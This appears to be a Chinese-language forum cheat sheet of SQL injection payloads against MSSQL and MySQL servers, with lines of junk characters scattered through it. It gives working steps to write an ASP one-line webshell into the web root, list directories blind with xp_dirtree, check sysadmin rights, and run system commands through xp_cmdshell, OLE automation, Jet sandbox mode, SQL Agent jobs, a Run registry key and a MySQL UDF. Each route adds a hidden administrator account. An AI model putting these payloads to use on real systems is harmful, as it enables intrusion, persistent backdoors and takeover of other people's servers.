MSSQL语句导出一句话木马
+ c/ e" {8 F) A首先确定网站的WEB路径
& y: T1 X8 p* g3 u) s;create table pcguest(pc char(255));-- //建一个表用作插入一句话木马
# L, d' V7 Y2 s. L2 K
4 j& r. L6 Q' I+ N/ _2 J;insert into pcguest(pc) values ('%3c%25execute request(%22p%22)%25%3e');-- * I4 k( g r4 i6 S
//将一句话木马插入表中, v) ~, m/ z% f
9 ?; ~3 U1 F7 U7 Z4 h/ };execute sp_makewebtask @outputfile='E:\Inetpub\wwwroot\PC.ASP',@query='select pc from pcguest';--
: i7 }9 }* N1 t3 w# G0 T) `% n8 J//导出一个ASP文件4 B- @/ t! t9 d/ n( s8 q& M8 v
7 c5 r* M# W, q& @. k' y; W
5 g- V+ p0 S8 H2 ~- g! ^/ i关于MSSQL列目录
. V3 W! y7 h7 U4 ]! O;CREATE TABLE pctest(subdirectory VARCHAR(100),depth VARCHAR(100),[file] VARCHAR(100)) //建一个新表
) a- U$ T9 ~7 JInsert pctest exec master..xp_dirtree "d:\app\",1,1 //用xp_dirtree列目录结果导入所建成的表' q! O M: v z
- l$ t: r. n+ g4 l% v, Rand (select Count(1) from [pctest]) between 0 and 99 //判断表中字段数来知道有几个文夹和目录8 ^- Q7 ~3 i$ M% ], P. X' \
9 s9 | g6 R! p/ Y/ Q8 q! n
And (Select Top 1 len(Cast([file] as varchar(8000))+subdirectory) From (Select Top 2 [subdirectory],[file] From pctest ORDER BY [file],[subdirectory]) D ORDER BY [file] desc , [subdirectory] desc) between 0 and 20 //猜解第二个字段4 J' ~( Q2 j# I$ O) G
! E" {1 x) u$ J3 W
And (Select Top 1 unicode(substring(Cast([file] as varchar(8000))+subdirectory,1,1)) From (Select Top 1 [subdirectory],[file] From pctest ORDER BY [file],[subdirectory]) D ORDER BY [file] desc , [subdirectory] desc) between 30 and 130 //逐一猜解字段名的每位字符
+ B8 p+ C( l+ Q/ ?- l& R. b2 f8 E* A! n" }5 R+ P
* ^: A, n/ C, c7 v, Q
数据库版本和权限查看
7 _: O: v1 B6 }( S$ f* B3 Cand 1=(select @@VERSION) //查看详细的数据库信息.
8 o, j$ {9 V. Q5 Wand 1=(SELECT IS_SRVROLEMEMBER('sysadmin'));-- //查看权限是不是SA1 Z+ h$ P5 I5 R8 e
and 1=(SELECT IS_MEMBER('db_owner'));-- //查看权限是不是DB_ONWER6 K8 z1 C( _7 H @" l( E& |& |, J
- b9 y- S9 @4 A+ ^' r6 c
" a2 n$ _; r8 l% W$ W( R1 H% J3 H
1.利用xp_cmdshell执行命令
5 M$ }5 A7 c" f5 i( Eexec master..xp_cmdshell 'net user rfire 123456 /add'
3 G$ o- V9 n+ }# A2 q9 rexec master..xp_cmdshell 'net localgroup administrators rfire /add'
- m! y, g2 S0 c A) C( l7 W4 i! S6 J. y; J$ R* [3 f
恢复xp_cmdshell存储过程 E1 x$ m! F9 K' j0 `
Exec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'* p2 _* C, V2 }5 t& ]
( _1 j9 V: f& }1 _
' T0 E) \: R/ U1 n/ o2 K( q' H
2.利用SP_OAcreate和SP_OAMETHOD执行命令( l/ }2 Y8 x, D4 [
在wscript.shell组件存在的情况下以及xp_cmdshell和xplog70.dll都被删除的情况下9 R% _' `+ g# g9 _7 S: Q4 ~
DECLARE @shell INT //建立一个@shell实体
N, [ D4 M( I g+ s8 x' OEXEC SP_OAcreate 'wscript.shell',@shell out //创建OLE对象的实例) F! i% o* o( c, d* |5 r
EXEC SP_OAMETHOD @shell,'run',null,'net user rfire 123456 /add' //调用@shell这个实例
7 M# I* E4 |6 v. @# T2 w" @( i) g; @ n
+ I" O1 B2 C4 a/ A) S. E9 h
3.利用沙盒模式
0 L* [+ d( b6 v4 X( h9 G9 O. H先利用xp_regwrite(前提是要求xp_regwrite存在)改注册表,然后用OpenRowSet访问系统自身mdb文件,然后执行SQL语句。# N. @1 F. k6 C! K8 T5 }% U
开启沙盒模式:
5 E: `/ S h! U6 s; g# I2 kEXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SoftWare\Microsoft\Jet\4.0\Engine','SandBoxMode','REG_DWORD',04 F2 A6 Y- r" Q1 D7 p, A, F1 H) J
. r {- p( f: z: S1 y8 v; i4 H执行命令:' A' J$ w6 t3 W# z
Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\windows\system32\ias\ias.mdb','select shell("net user rfire 123456 /add")');
4 M! w; s& y. A1 [/ C( b
0 |: ?3 ^1 R. `1 t% {
* E% \# X+ v! x n) R4.利用SQL代理执行命令
8 a5 F6 w& d) r* O* A& H$ V% jEXEC master.dbo.xp_servicecontrol 'start','SQLSERVERAGENT' //使用xp_servicecontrol启动SQLSERVERAGENT服务$ `% O$ T' M2 h# g
, w" ]7 a' ~) u) X: w8 v9 a* b! g
执行命令:
2 R3 z; O+ Y8 w: u; j0 M0 x5 B `use msdb exec sp_delete_job null,'x' //进入msdb数据库,删除x作业防止出错4 H0 }0 d6 K- g9 G+ d }) I
exec sp_add_job 'x'7 C, p% @! D E0 Z, @+ ]- D5 ^
exec sp_add_jobstep Null,'x',Null,'1','CMDEXEC','cmd /c net user rfire 123456 /add' //添加作业! O0 P9 c! p) ?6 d5 o+ D! e$ C
exec sp_add_jobserver Null,'x',@@servername exec sp_add_job 'x' //启动这个作业/ }5 j. |( q: D9 l! U
6 H' z- p/ x) E8 Y: l; [( H" n
" {0 s. m! @; A2 B% V
5.利用注册表项执行命令(用xp_regwrite将执行命令写入启动项)6 F; Y0 J0 U( u4 }
EXEC master.dbo.xp_regwrite 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run\','shell'.'REG_SZ','C:\windows\system32\cmd.exe /c net user rfire 123456 /add'7 ~# N$ j1 v7 e6 S6 ~6 i8 b
" A% e% z* x7 ]
# ?. n7 [/ G E; n6.MYSQL的命令执行$ H3 B4 F. Q7 ?3 u+ n9 z
MYSQL的UDF自定义函数提权(要求账号拥有insert和delete权限)
) R' W: R* U B3 u* u首先要在su.php下导出c:\windows\udf.dll$ ~2 T" N2 n+ c, h- E+ V& p. d! {
导出后执行创建自定义函数命令:
$ r/ d" o1 \2 U9 O# C. CCreate Function cmdshell returns string soname 'udf.dll'7 V6 \ q- v% }
执行命令6 n( V1 |$ N7 m
select cmdshell('net user rfire 123456 /add')9 V+ u! D' V" W4 k) E# ?% }/ t
执行后删除函数 drop function cmdshell
$ r# t4 X6 E% q% p |